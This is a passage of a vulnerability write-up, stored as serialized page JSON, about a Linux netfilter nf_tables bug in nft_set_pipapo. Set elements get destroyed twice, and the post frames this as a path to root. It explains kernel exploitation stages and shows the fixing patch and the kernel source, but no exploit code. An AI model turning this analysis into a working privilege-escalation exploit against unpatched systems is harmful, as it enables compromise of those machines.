etc.\n⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀",{"type":22,"tag":5928,"props":52518,"children":52521},{"alt":52519,"src":52520},"image","/posts/netfilter-universal-root-1-day/kernal.png",[],{"type":22,"tag":31,"props":52523,"children":52524},{},[52525],{"type":28,"value":52526},"The kernel exposes an interface that user applications can use to request things they can't do directly (e.g. map some memory to my process' virtual address space, expose some file to my process, open a network socket, etc.). This is called the syscall interface, the main form of passing data from userspace to kernelspace.",{"type":22,"tag":1289,"props":52528,"children":52530},{"id":52529},"kernel-exploitation",[52531],{"type":28,"value":52532},"Kernel exploitation",{"type":22,"tag":31,"props":52534,"children":52535},{},[52536],{"type":28,"value":52537},"As the kernel processes requests passed by user applications, it is subject to bugs and security vulnerabilities just as any code would, ranging from logic issues to memory corruptions that attackers can use to hijack the execution in kernel context or escalate privileges in some other way. With that in mind, we can expect the typical kernel exploit to look like this:",{"type":22,"tag":64,"props":52539,"children":52540},{},[52541,52546,52551],{"type":22,"tag":68,"props":52542,"children":52543},{},[52544],{"type":28,"value":52545},"Trigger some memory corruption in some kernel subsystem",{"type":22,"tag":68,"props":52547,"children":52548},{},[52549],{"type":28,"value":52550},"Use it to acquire some stronger primitive (Control-flow, Arb R/W, etc.)",{"type":22,"tag":68,"props":52552,"children":52553},{},[52554],{"type":28,"value":52555},"Use your current primitive to escalate your privileges (usually by changing the creds of your process or something with similar consequences)",{"type":22,"tag":31,"props":52557,"children":52558},{},[52559,52561,52568],{"type":28,"value":52560},"I strongly recommend reading Lkmidas' Intro to Kernel Exploitation ",{"type":22,"tag":42,"props":52562,"children":52565},{"href":52563,"rel":52564},"https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/",[46],[52566],{"type":28,"value":52567},"blog post",{"type":28,"value":52569}," to become more familiar with the topic.",{"type":22,"tag":23,"props":52571,"children":52573},{"id":52572},"nf_tables",[52574],{"type":22,"tag":114,"props":52575,"children":52577},{"className":52576},[],[52578],{"type":28,"value":52572},{"type":22,"tag":31,"props":52580,"children":52581},{},[52582,52587,52589,52595,52596,52602,52604,52610],{"type":22,"tag":114,"props":52583,"children":52585},{"className":52584},[],[52586],{"type":28,"value":52572},{"type":28,"value":52588}," is a component of the netfilter subsystem of the Linux kernel. It is a package filtering mechanism, and it's the current backend used by tools like iptables and Firewalld. Its internals have been thoroughly discussed by other researchers ",{"type":22,"tag":42,"props":52590,"children":52593},{"href":52591,"rel":52592},"https://pwning.tech/nftables",[46],[52594],{"type":28,"value":6026},{"type":28,"value":231},{"type":22,"tag":42,"props":52597,"children":52600},{"href":52598,"rel":52599},"https://starlabs.sg/blog/2023/09-nftables-adventures-bug-hunting-and-n-day-exploitation",[46],[52601],{"type":28,"value":5147},{"type":28,"value":52603},". I recommend reading those briefly to understand the hierarchical structure of ",{"type":22,"tag":114,"props":52605,"children":52607},{"className":52606},[],[52608],{"type":28,"value":52609},"nf_table",{"type":28,"value":52611}," objects and how we can manipulate them to create configurable filtering mechanisms.",{"type":22,"tag":31,"props":52613,"children":52614},{},[52615],{"type":28,"value":52616},"For the sake of this blog post I'll omit any details that are not directly related to the vulnerability.",{"type":22,"tag":1289,"props":52618,"children":52620},{"id":52619},"transactions",[52621],{"type":28,"value":52622},"Transactions",{"type":22,"tag":31,"props":52624,"children":52625},{},[52626,52628,52633,52635,52640],{"type":28,"value":52627},"A transaction is an interaction that updates ",{"type":22,"tag":114,"props":52629,"children":52631},{"className":52630},[],[52632],{"type":28,"value":52572},{"type":28,"value":52634}," objects/state. It's roughly composed of a batch of operations that modify some ",{"type":22,"tag":114,"props":52636,"children":52638},{"className":52637},[],[52639],{"type":28,"value":52572},{"type":28,"value":52641}," object (adding/removing/editing tables, sets, elements, objects, etc). They are roughly composed of 3 different passes:",{"type":22,"tag":64,"props":52643,"children":52644},{},[52645,52655,52665],{"type":22,"tag":68,"props":52646,"children":52647},{},[52648,52653],{"type":22,"tag":74,"props":52649,"children":52650},{},[52651],{"type":28,"value":52652},"Control plane",{"type":28,"value":52654},"\nPrepare each operation, and if some fail, abort the whole batch; otherwise, commit the entire batch.",{"type":22,"tag":68,"props":52656,"children":52657},{},[52658,52663],{"type":22,"tag":74,"props":52659,"children":52660},{},[52661],{"type":28,"value":52662},"Commit path",{"type":28,"value":52664},"\nAfter the control plane, if all succeed, we apply the changes (effectively modify tables, sets, etc.).",{"type":22,"tag":68,"props":52666,"children":52667},{},[52668,52673],{"type":22,"tag":74,"props":52669,"children":52670},{},[52671],{"type":28,"value":52672},"Abort path",{"type":28,"value":52674},"\nOnly triggered when some error condition is detected in the control plane; undo actions done during the control plane and skip commitment.",{"type":22,"tag":23,"props":52676,"children":52678},{"id":52677},"vulnerability-details",[52679],{"type":28,"value":52680},"Vulnerability details",{"type":22,"tag":31,"props":52682,"children":52683},{},[52684,52686,52692],{"type":28,"value":52685},"Moving on, let's check out the ",{"type":22,"tag":42,"props":52687,"children":52690},{"href":52688,"rel":52689},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b0e256f3dd2ba6532f37c5c22e07cb07a36031ee",[46],[52691],{"type":28,"value":6241},{"type":28,"value":52693}," that fixed the bug.",{"type":22,"tag":107,"props":52695,"children":52697},{"className":1912,"code":52696,"language":1914,"meta":7,"style":7},"diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\nindex c0ceea068936a6..df8de509024637 100644\n--- a/net/netfilter/nft_set_pipapo.c\n+++ b/net/netfilter/nft_set_pipapo.c\n@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n\n        m = rcu_dereference_protected(priv->match, true);\n\n  if (m) {\n   rcu_barrier();\n \n-  nft_set_pipapo_match_destroy(ctx, set, m);\n-\n   for_each_possible_cpu(cpu)\n    pipapo_free_scratch(m, cpu);\n   free_percpu(m->scratch);\n@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n  if (priv->clone) {\n   m = priv->clone;\n \n-  if (priv->dirty)\n-   nft_set_pipapo_match_destroy(ctx, set, m);\n+  nft_set_pipapo_match_destroy(ctx, set, m);\n \n   for_each_possible_cpu(cpu)\n    pipapo_free_scratch(priv->clone, cpu);\n",[52698],{"type":22,"tag":114,"props":52699,"children":52700},{"__ignoreMap":7},[52701,52709,52717,52725,52733,52741,52748,52756,52763,52771,52779,52787,52795,52803,52811,52819,52827,52835,52843,52851,52858,52866,52874,52882,52889,52896],{"type":22,"tag":118,"props":52702,"children":52703},{"class":120,"line":121},[52704],{"type":22,"tag":118,"props":52705,"children":52706},{"style":146},[52707],{"type":28,"value":52708},"diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\n",{"type":22,"tag":118,"props":52710,"children":52711},{"class":120,"line":142},[52712],{"type":22,"tag":118,"props":52713,"children":52714},{"style":125},[52715],{"type":28,"value":52716},"index c0ceea068936a6..df8de509024637 100644\n",{"type":22,"tag":118,"props":52718,"children":52719},{"class":120,"line":177},[52720],{"type":22,"tag":118,"props":52721,"children":52722},{"style":146},[52723],{"type":28,"value":52724},"--- a/net/netfilter/nft_set_pipapo.c\n",{"type":22,"tag":118,"props":52726,"children":52727},{"class":120,"line":195},[52728],{"type":22,"tag":118,"props":52729,"children":52730},{"style":146},[52731],{"type":28,"value":52732},"+++ b/net/netfilter/nft_set_pipapo.c\n",{"type":22,"tag":118,"props":52734,"children":52735},{"class":120,"line":244},[52736],{"type":22,"tag":118,"props":52737,"children":52738},{"style":125},[52739],{"type":28,"value":52740},"@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n",{"type":22,"tag":118,"props":52742,"children":52743},{"class":120,"line":253},[52744],{"type":22,"tag":118,"props":52745,"children":52746},{"emptyLinePlaceholder":15},[52747],{"type":28,"value":250},{"type":22,"tag":118,"props":52749,"children":52750},{"class":120,"line":263},[52751],{"type":22,"tag":118,"props":52752,"children":52753},{"style":125},[52754],{"type":28,"value":52755},"        m = rcu_dereference_protected(priv->match, true);\n",{"type":22,"tag":118,"props":52757,"children":52758},{"class":120,"line":318},[52759],{"type":22,"tag":118,"props":52760,"children":52761},{"emptyLinePlaceholder":15},[52762],{"type":28,"value":250},{"type":22,"tag":118,"props":52764,"children":52765},{"class":120,"line":351},[52766],{"type":22,"tag":118,"props":52767,"children":52768},{"style":125},[52769],{"type":28,"value":52770},"  if (m) {\n",{"type":22,"tag":118,"props":52772,"children":52773},{"class":120,"line":359},[52774],{"type":22,"tag":118,"props":52775,"children":52776},{"style":125},[52777],{"type":28,"value":52778},"   rcu_barrier();\n",{"type":22,"tag":118,"props":52780,"children":52781},{"class":120,"line":368},[52782],{"type":22,"tag":118,"props":52783,"children":52784},{"style":125},[52785],{"type":28,"value":52786}," \n",{"type":22,"tag":118,"props":52788,"children":52789},{"class":120,"line":384},[52790],{"type":22,"tag":118,"props":52791,"children":52792},{"style":1866},[52793],{"type":28,"value":52794},"-  nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":22,"tag":118,"props":52796,"children":52797},{"class":120,"line":417},[52798],{"type":22,"tag":118,"props":52799,"children":52800},{"style":1866},[52801],{"type":28,"value":52802},"-\n",{"type":22,"tag":118,"props":52804,"children":52805},{"class":120,"line":425},[52806],{"type":22,"tag":118,"props":52807,"children":52808},{"style":125},[52809],{"type":28,"value":52810},"   for_each_possible_cpu(cpu)\n",{"type":22,"tag":118,"props":52812,"children":52813},{"class":120,"line":441},[52814],{"type":22,"tag":118,"props":52815,"children":52816},{"style":125},[52817],{"type":28,"value":52818},"    pipapo_free_scratch(m, cpu);\n",{"type":22,"tag":118,"props":52820,"children":52821},{"class":120,"line":475},[52822],{"type":22,"tag":118,"props":52823,"children":52824},{"style":125},[52825],{"type":28,"value":52826},"   free_percpu(m->scratch);\n",{"type":22,"tag":118,"props":52828,"children":52829},{"class":120,"line":484},[52830],{"type":22,"tag":118,"props":52831,"children":52832},{"style":125},[52833],{"type":28,"value":52834},"@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n",{"type":22,"tag":118,"props":52836,"children":52837},{"class":120,"line":492},[52838],{"type":22,"tag":118,"props":52839,"children":52840},{"style":125},[52841],{"type":28,"value":52842},"  if (priv->clone) {\n",{"type":22,"tag":118,"props":52844,"children":52845},{"class":120,"line":501},[52846],{"type":22,"tag":118,"props":52847,"children":52848},{"style":125},[52849],{"type":28,"value":52850},"   m = priv->clone;\n",{"type":22,"tag":118,"props":52852,"children":52853},{"class":120,"line":519},[52854],{"type":22,"tag":118,"props":52855,"children":52856},{"style":125},[52857],{"type":28,"value":52786},{"type":22,"tag":118,"props":52859,"children":52860},{"class":120,"line":606},[52861],{"type":22,"tag":118,"props":52862,"children":52863},{"style":1866},[52864],{"type":28,"value":52865},"-  if (priv->dirty)\n",{"type":22,"tag":118,"props":52867,"children":52868},{"class":120,"line":615},[52869],{"type":22,"tag":118,"props":52870,"children":52871},{"style":1866},[52872],{"type":28,"value":52873},"-   nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":22,"tag":118,"props":52875,"children":52876},{"class":120,"line":685},[52877],{"type":22,"tag":118,"props":52878,"children":52879},{"style":674},[52880],{"type":28,"value":52881},"+  nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":22,"tag":118,"props":52883,"children":52884},{"class":120,"line":699},[52885],{"type":22,"tag":118,"props":52886,"children":52887},{"style":125},[52888],{"type":28,"value":52786},{"type":22,"tag":118,"props":52890,"children":52891},{"class":120,"line":729},[52892],{"type":22,"tag":118,"props":52893,"children":52894},{"style":125},[52895],{"type":28,"value":52810},{"type":22,"tag":118,"props":52897,"children":52898},{"class":120,"line":771},[52899],{"type":22,"tag":118,"props":52900,"children":52901},{"style":125},[52902],{"type":28,"value":52903},"    pipapo_free_scratch(priv->clone, cpu);\n",{"type":22,"tag":31,"props":52905,"children":52906},{},[52907,52909,52915,52916,52922,52924,52930,52932,52938,52940,52945,52947,52953,52955,52961,52963,52969],{"type":28,"value":52908},"If the ",{"type":22,"tag":114,"props":52910,"children":52912},{"className":52911},[],[52913],{"type":28,"value":52914},"priv->dirty",{"type":28,"value":12991},{"type":22,"tag":114,"props":52917,"children":52919},{"className":52918},[],[52920],{"type":28,"value":52921},"priv->clone",{"type":28,"value":52923}," variables are set, ",{"type":22,"tag":114,"props":52925,"children":52927},{"className":52926},[],[52928],{"type":28,"value":52929},"nft_set_pipapo_match_destroy()",{"type":28,"value":52931}," is called twice, once with ",{"type":22,"tag":114,"props":52933,"children":52935},{"className":52934},[],[52936],{"type":28,"value":52937},"priv->match",{"type":28,"value":52939}," as an argument, and then again with ",{"type":22,"tag":114,"props":52941,"children":52943},{"className":52942},[],[52944],{"type":28,"value":52921},{"type":28,"value":52946},". Looking at what this function does, we can see that it is iterating over the ",{"type":22,"tag":114,"props":52948,"children":52950},{"className":52949},[],[52951],{"type":28,"value":52952},"setelem",{"type":28,"value":52954},"s of the ",{"type":22,"tag":114,"props":52956,"children":52958},{"className":52957},[],[52959],{"type":28,"value":52960},"set",{"type":28,"value":52962}," and calling ",{"type":22,"tag":114,"props":52964,"children":52966},{"className":52965},[],[52967],{"type":28,"value":52968},"nf_tables_set_elem_destroy()",{"type":28,"value":52970}," for each of them.",{"type":22,"tag":107,"props":52972,"children":52974},{"className":18481,"code":52973,"language":5169,"meta":7,"style":7},"static void nft_set_pipapo_match_destroy(const struct nft_ctx *ctx,\n      const struct nft_set *set,\n      struct nft_pipapo_match *m)\n{\n struct nft_pipapo_field *f;\n int i, r;\n\n for (i = 0, f = m->f; i \u003C m->field_count - 1; i++, f++)\n  ;\n\n for (r = 0; r \u003C f->rules; r++) {\n  struct nft_pipapo_elem *e;\n\n  if (r \u003C f->rules - 1 && f->mt[r + 1].e == f->mt[r].e)\n   continue;\n\n  e = f->mt[r].e;\n\n  nf_tables_set_elem_destroy(ctx, set, &e->priv);\n }\n}\n",[52975],{"type":22,"tag":114,"props":52976,"children":52977},{"__ignoreMap":7},[52978,53025,53053,53079,53086,53107,53120,53127,53224,53232,53239,53294,53315,53322,53425,53437,53444,53480,53487,53521,53528],{"type":22,"tag":118,"props":52979,"children":52980},{"class":120,"line":121},[52981,52986,52991,52996,53000,53004,53008,53013,53017,53021],{"type":22,"tag":118,"props":52982,"children":52983},{"style":146},[52984],{"type":28,"value":52985},"static",{"type":22,"tag":118,"props":52987,"children":52988},{"style":146},[52989],{"type":28,"value":52990}," void",{"type":22,"tag":118,"props":52992,"children":52993},{"style":532},[52994],{"type":28,"value":52995}," nft_set_pipapo_match_destroy",{"type":22,"tag":118,"props":52997,"children":52998},{"style":125},[52999],{"type":28,"value":540},{"type":22,"tag":118,"props":53001,"children":53002},{"style":146},[53003],{"type":28,"value":11653},{"type":22,"tag":118,"props":53005,"children":53006},{"style":146},[53007],{"type":28,"value":154},{"type":22,"tag":118,"props":53009,"children":53010},{"style":125},[53011],{"type":28,"value":53012}," nft_ctx ",{"type":22,"tag":118,"props":53014,"children":53015},{"style":210},[53016],{"type":28,"value":671},{"type":22,"tag":118,"props":53018,"children":53019},{"style":204},[53020],{"type":28,"value":545},{"type":22,"tag":118,"props":53022,"children":53023},{"style":125},[53024],{"type":28,"value":782},{"type":22,"tag":118,"props":53026,"children":53027},{"class":120,"line":142},[53028,53032,53036,53041,53045,53049],{"type":22,"tag":118,"props":53029,"children":53030},{"style":146},[53031],{"type":28,"value":33486},{"type":22,"tag":118,"props":53033,"children":53034},{"style":146},[53035],{"type":28,"value":154},{"type":22,"tag":118,"props":53037,"children":53038},{"style":125},[53039],{"type":28,"value":53040}," nft_set ",{"type":22,"tag":118,"props":53042,"children":53043},{"style":210},[53044],{"type":28,"value":671},{"type":22,"tag":118,"props":53046,"children":53047},{"style":204},[53048],{"type":28,"value":52960},{"type":22,"tag":118,"props":53050,"children":53051},{"style":125},[53052],{"type":28,"value":782},{"type":22,"tag":118,"props":53054,"children":53055},{"class":120,"line":177},[53056,53061,53066,53070,53075],{"type":22,"tag":118,"props":53057,"children":53058},{"style":146},[53059],{"type":28,"value":53060},"      struct",{"type":22,"tag":118,"props":53062,"children":53063},{"style":125},[53064],{"type":28,"value":53065}," nft_pipapo_match ",{"type":22,"tag":118,"props":53067,"children":53068},{"style":210},[53069],{"type":28,"value":671},{"type":22,"tag":118,"props":53071,"children":53072},{"style":204},[53073],{"type":28,"value":53074},"m",{"type":22,"tag":118,"props":53076,"children":53077},{"style":125},[53078],{"type":28,"value":3665},{"type":22,"tag":118,"props":53080,"children":53081},{"class":120,"line":195},[53082],{"type":22,"tag":118,"props":53083,"children":53084},{"style":125},[53085],{"type":28,"value":12879},{"type":22,"tag":118,"props":53087,"children":53088},{"class":120,"line":244},[53089,53093,53098,53102],{"type":22,"tag":118,"props":53090,"children":53091},{"style":146},[53092],{"type":28,"value":154},{"type":22,"tag":118,"props":53094,"children":53095},{"style":125},[53096],{"type":28,"value":53097}," nft_pipapo_field ",{"type":22,"tag":118,"props":53099,"children":53100},{"style":210},[53101],{"type":28,"value":671},{"type":22,"tag":118,"props":53103,"children":53104},{"style":125},[53105],{"type":28,"value":53106},"f;\n",{"type":22,"tag":118,"props":53108,"children":53109},{"class":120,"line":253},[53110,53115],{"type":22,"tag":118,"props":53111,"children":53112},{"style":146},[53113],{"type":28,"value":53114}," int",{"type":22,"tag":118,"props":53116,"children":53117},{"style":125},[53118],{"type":28,"value":53119}," i, r;\n",{"type":22,"tag":118,"props":53121,"children":53122},{"class":120,"line":263},[53123],{"type":22,"tag":118,"props":53124,"children":53125},{"emptyLinePlaceholder":15},[53126],{"type":28,"value":250},{"type":22,"tag":118,"props":53128,"children":53129},{"class":120,"line":318},[53130,53135,53140,53144,53148,53153,53157,53162,53166,53170,53175,53179,53183,53187,53192,53197,53201,53206,53211,53216,53220],{"type":22,"tag":118,"props":53131,"children":53132},{"style":1480},[53133],{"type":28,"value":53134}," for",{"type":22,"tag":118,"props":53136,"children":53137},{"style":125},[53138],{"type":28,"value":53139}," (i ",{"type":22,"tag":118,"props":53141,"children":53142},{"style":210},[53143],{"type":28,"value":282},{"type":22,"tag":118,"props":53145,"children":53146},{"style":674},[53147],{"type":28,"value":5074},{"type":22,"tag":118,"props":53149,"children":53150},{"style":125},[53151],{"type":28,"value":53152},", f ",{"type":22,"tag":118,"props":53154,"children":53155},{"style":210},[53156],{"type":28,"value":282},{"type":22,"tag":118,"props":53158,"children":53159},{"style":204},[53160],{"type":28,"value":53161}," m",{"type":22,"tag":118,"props":53163,"children":53164},{"style":125},[53165],{"type":28,"value":593},{"type":22,"tag":118,"props":53167,"children":53168},{"style":204},[53169],{"type":28,"value":35024},{"type":22,"tag":118,"props":53171,"children":53172},{"style":125},[53173],{"type":28,"value":53174},"; i ",{"type":22,"tag":118,"props":53176,"children":53177},{"style":210},[53178],{"type":28,"value":559},{"type":22,"tag":118,"props":53180,"children":53181},{"style":204},[53182],{"type":28,"value":53161},{"type":22,"tag":118,"props":53184,"children":53185},{"style":125},[53186],{"type":28,"value":593},{"type":22,"tag":118,"props":53188,"children":53189},{"style":204},[53190],{"type":28,"value":53191},"field_count",{"type":22,"tag":118,"props":53193,"children":53194},{"style":210},[53195],{"type":28,"value":53196}," -",{"type":22,"tag":118,"props":53198,"children":53199},{"style":674},[53200],{"type":28,"value":6535},{"type":22,"tag":118,"props":53202,"children":53203},{"style":125},[53204],{"type":28,"value":53205},"; i",{"type":22,"tag":118,"props":53207,"children":53208},{"style":210},[53209],{"type":28,"value":53210},"++",{"type":22,"tag":118,"props":53212,"children":53213},{"style":125},[53214],{"type":28,"value":53215},", f",{"type":22,"tag":118,"props":53217,"children":53218},{"style":210},[53219],{"type":28,"value":53210},{"type":22,"tag":118,"props":53221,"children":53222},{"style":125},[53223],{"type":28,"value":3665},{"type":22,"tag":118,"props":53225,"children":53226},{"class":120,"line":351},[53227],{"type":22,"tag":118,"props":53228,"children":53229},{"style":125},[53230],{"type":28,"value":53231},"  ;\n",{"type":22,"tag":118,"props":53233,"children":53234},{"class":120,"line":359},[53235],{"type":22,"tag":118,"props":53236,"children":53237},{"emptyLinePlaceholder":15},[53238],{"type":28,"value":250},{"type":22,"tag":118,"props":53240,"children":53241},{"class":120,"line":368},[53242,53246,53251,53255,53259,53264,53268,53272,53276,53281,53286,53290],{"type":22,"tag":118,"props":53243,"children":53244},{"style":1480},[53245],{"type":28,"value":53134},{"type":22,"tag":118,"props":53247,"children":53248},{"style":125},[53249],{"type":28,"value":53250}," (r ",{"type":22,"tag":118,"props":53252,"children":53253},{"style":210},[53254],{"type":28,"value":282},{"type":22,"tag":118,"props":53256,"children":53257},{"style":674},[53258],{"type":28,"value":5074},{"type":22,"tag":118,"props":53260,"children":53261},{"style":125},[53262],{"type":28,"value":53263},"; r ",{"type":22,"tag":118,"props":53265,"children":53266},{"style":210},[53267],{"type":28,"value":559},{"type":22,"tag":118,"props":53269,"children":53270},{"style":204},[53271],{"type":28,"value":34910},{"type":22,"tag":118,"props":53273,"children":53274},{"style":125},[53275],{"type":28,"value":593},{"type":22,"tag":118,"props":53277,"children":53278},{"style":204},[53279],{"type":28,"value":53280},"rules",{"type":22,"tag":118,"props":53282,"children":53283},{"style":125},[53284],{"type":28,"value":53285},"; r",{"type":22,"tag":118,"props":53287,"children":53288},{"style":210},[53289],{"type":28,"value":53210},{"type":22,"tag":118,"props":53291,"children":53292},{"style":125},[53293],{"type":28,"value":16783},{"type":22,"tag":118,"props":53295,"children":53296},{"class":120,"line":384},[53297,53301,53306,53310],{"type":22,"tag":118,"props":53298,"children":53299},{"style":146},[53300],{"type":28,"value":7807},{"type":22,"tag":118,"props":53302,"children":53303},{"style":125},[53304],{"type":28,"value":53305}," nft_pipapo_elem ",{"type":22,"tag":118,"props":53307,"children":53308},{"style":210},[53309],{"type":28,"value":671},{"type":22,"tag":118,"props":53311,"children":53312},{"style":125},[53313],{"type":28,"value":53314},"e;\n",{"type":22,"tag":118,"props":53316,"children":53317},{"class":120,"line":417},[53318],{"type":22,"tag":118,"props":53319,"children":53320},{"emptyLinePlaceholder":15},[53321],{"type":28,"value":250},{"type":22,"tag":118,"props":53323,"children":53324},{"class":120,"line":425},[53325,53329,53333,53337,53341,53345,53349,53353,53357,53361,53365,53369,53374,53379,53383,53387,53391,53396,53400,53404,53408,53412,53417,53421],{"type":22,"tag":118,"props":53326,"children":53327},{"style":1480},[53328],{"type":28,"value":33333},{"type":22,"tag":118,"props":53330,"children":53331},{"style":125},[53332],{"type":28,"value":53250},{"type":22,"tag":118,"props":53334,"children":53335},{"style":210},[53336],{"type":28,"value":559},{"type":22,"tag":118,"props":53338,"children":53339},{"style":204},[53340],{"type":28,"value":34910},{"type":22,"tag":118,"props":53342,"children":53343},{"style":125},[53344],{"type":28,"value":593},{"type":22,"tag":118,"props":53346,"children":53347},{"style":204},[53348],{"type":28,"value":53280},{"type":22,"tag":118,"props":53350,"children":53351},{"style":210},[53352],{"type":28,"value":53196},{"type":22,"tag":118,"props":53354,"children":53355},{"style":674},[53356],{"type":28,"value":6535},{"type":22,"tag":118,"props":53358,"children":53359},{"style":210},[53360],{"type":28,"value":1789},{"type":22,"tag":118,"props":53362,"children":53363},{"style":204},[53364],{"type":28,"value":34910},{"type":22,"tag":118,"props":53366,"children":53367},{"style":125},[53368],{"type":28,"value":593},{"type":22,"tag":118,"props":53370,"children":53371},{"style":204},[53372],{"type":28,"value":53373},"mt",{"type":22,"tag":118,"props":53375,"children":53376},{"style":125},[53377],{"type":28,"value":53378},"[r ",{"type":22,"tag":118,"props":53380,"children":53381},{"style":210},[53382],{"type":28,"value":3220},{"type":22,"tag":118,"props":53384,"children":53385},{"style":674},[53386],{"type":28,"value":6535},{"type":22,"tag":118,"props":53388,"children":53389},{"style":125},[53390],{"type":28,"value":52289},{"type":22,"tag":118,"props":53392,"children":53393},{"style":204},[53394],{"type":28,"value":53395},"e",{"type":22,"tag":118,"props":53397,"children":53398},{"style":210},[53399],{"type":28,"value":1780},{"type":22,"tag":118,"props":53401,"children":53402},{"style":204},[53403],{"type":28,"value":34910},{"type":22,"tag":118,"props":53405,"children":53406},{"style":125},[53407],{"type":28,"value":593},{"type":22,"tag":118,"props":53409,"children":53410},{"style":204},[53411],{"type":28,"value":53373},{"type":22,"tag":118,"props":53413,"children":53414},{"style":125},[53415],{"type":28,"value":53416},"[r].",{"type":22,"tag":118,"props":53418,"children":53419},{"style":204},[53420],{"type":28,"value":53395},{"type":22,"tag":118,"props":53422,"children":53423},{"style":125},[53424],{"type":28,"value":3665},{"type":22,"tag":118,"props":53426,"children":53427},{"class":120,"line":441},[53428,53433],{"type":22,"tag":118,"props":53429,"children":53430},{"style":1480},[53431],{"type":28,"value":53432},"   continue",{"type":22,"tag":118,"props":53434,"children":53435},{"style":125},[53436],{"type":28,"value":801},{"type":22,"tag":118,"props":53438,"children":53439},{"class":120,"line":475},[53440],{"type":22,"tag":118,"props":53441,"children":53442},{"emptyLinePlaceholder":15},[53443],{"type":28,"value":250},{"type":22,"tag":118,"props":53445,"children":53446},{"class":120,"line":484},[53447,53452,53456,53460,53464,53468,53472,53476],{"type":22,"tag":118,"props":53448,"children":53449},{"style":125},[53450],{"type":28,"value":53451},"  e ",{"type":22,"tag":118,"props":53453,"children":53454},{"style":210},[53455],{"type":28,"value":282},{"type":22,"tag":118,"props":53457,"children":53458},{"style":204},[53459],{"type":28,"value":34910},{"type":22,"tag":118,"props":53461,"children":53462},{"style":125},[53463],{"type":28,"value":593},{"type":22,"tag":118,"props":53465,"children":53466},{"style":204},[53467],{"type":28,"value":53373},{"type":22,"tag":118,"props":53469,"children":53470},{"style":125},[53471],{"type":28,"value":53416},{"type":22,"tag":118,"props":53473,"children":53474},{"style":204},[53475],{"type":28,"value":53395},{"type":22,"tag":118,"props":53477,"children":53478},{"style":125},[53479],{"type":28,"value":801},{"type":22,"tag":118,"props":53481,"children":53482},{"class":120,"line":492},[53483],{"type":22,"tag":118,"props":53484,"children":53485},{"emptyLinePlaceholder":15},[53486],{"type":28,"value":250},{"type":22,"tag":118,"props":53488,"children":53489},{"class":120,"line":501},[53490,53495,53500,53504,53508,53512,53517],{"type":22,"tag":118,"props":53491,"children":53492},{"style":532},[53493],{"type":28,"value":53494},"  nf_tables_set_elem_destroy",{"type":22,"tag":118,"props":53496,"children":53497},{"style":125},[53498],{"type":28,"value":53499},"(ctx, set, ",{"type":22,"tag":118,"props":53501,"children":53502},{"style":210},[53503],{"type":28,"value":1407},{"type":22,"tag":118,"props":53505,"children":53506},{"style":204},[53507],{"type":28,"value":53395},{"type":22,"tag":118,"props":53509,"children":53510},{"style":125},[53511],{"type":28,"value":593},{"type":22,"tag":118,"props":53513,"children":53514},{"style":204},[53515],{"type":28,"value":53516},"priv",{"type":22,"tag":118,"props":53518,"children":53519},{"style":125},[53520],{"type":28,"value":682},{"type":22,"tag":118,"props":53522,"children":53523},{"class":120,"line":519},[53524],{"type":22,"tag":118,"props":53525,"children":53526},{"style":125},[53527],{"type":28,"value":11594},{"type":22,"tag":118,"props":53529,"children":53530},{"class":120,"line":606},[53531],{"type":22,"tag":118,"props":53532,"children":53533},{"style":125},[53534],{"type":28,"value":481},{"type":22,"tag":31,"props":53536,"children":53537},{},[53538,53540,53546,53548,53553],{"type":28,"value":53539},"Which will then ",{"type":22,"tag":114,"props":53541,"children":53543},{"className":53542},[],[53544],{"type":28,"value":53545},"kfree()",{"type":28,"value":53547}," the ",{"type":22,"tag":114,"props":53549,"children":53551},{"className":53550},[],[53552],{"type":28,"value":52952},{"type":28,"value":292},{"type":22,"tag":107,"props":53555,"children":53557},{"className":18481,"code":53556,"language":5169,"meta":7,"style":7},"void nf_tables_set_elem_destroy(const struct nft_ctx *ctx,\n    const struct nft_set *set,\n    const struct nft_elem_priv *elem_priv)\n{\n struct nft_set_ext *ext = nft_set_elem_ext(set, elem_priv);\n\n if (nft_set_ext_exists(ext, NFT_SET_EXT_EXPRESSIONS))\n  nft_set_elem_expr_destroy(ctx, nft_set_ext_expr(ext));\n\n kfree(elem_priv);\n}\n",[53558],{"type":22,"tag":114,"props":53559,"children":53560},{"__ignoreMap":7},[53561,53602,53630,53659,53666,53701,53708,53729,53752,53759,53772],{"type":22,"tag":118,"props":53562,"children":53563},{"class":120,"line":121},[53564,53569,53574,53578,53582,53586,53590,53594,53598],{"type":22,"tag":118,"props":53565,"children":53566},{"style":146},[53567],{"type":28,"value":53568},"void",{"type":22,"tag":118,"props":53570,"children":53571},{"style":532},[53572],{"type":28,"value":53573}," nf_tables_set_elem_destroy",{"type":22,"tag":118,"props":53575,"children":53576},{"style":125},[53577],{"type":28,"value":540},{"type":22,"tag":118,"props":53579,"children":53580},{"style":146},[53581],{"type":28,"value":11653},{"type":22,"tag":118,"props":53583,"children":53584},{"style":146},[53585],{"type":28,"value":154},{"type":22,"tag":118,"props":53587,"children":53588},{"style":125},[53589],{"type":28,"value":53012},{"type":22,"tag":118,"props":53591,"children":53592},{"style":210},[53593],{"type":28,"value":671},{"type":22,"tag":118,"props":53595,"children":53596},{"style":204},[53597],{"type":28,"value":545},{"type":22,"tag":118,"props":53599,"children":53600},{"style":125},[53601],{"type":28,"value":782},{"type":22,"tag":118,"props":53603,"children":53604},{"class":120,"line":142},[53605,53610,53614,53618,53622,53626],{"type":22,"tag":118,"props":53606,"children":53607},{"style":146},[53608],{"type":28,"value":53609},"    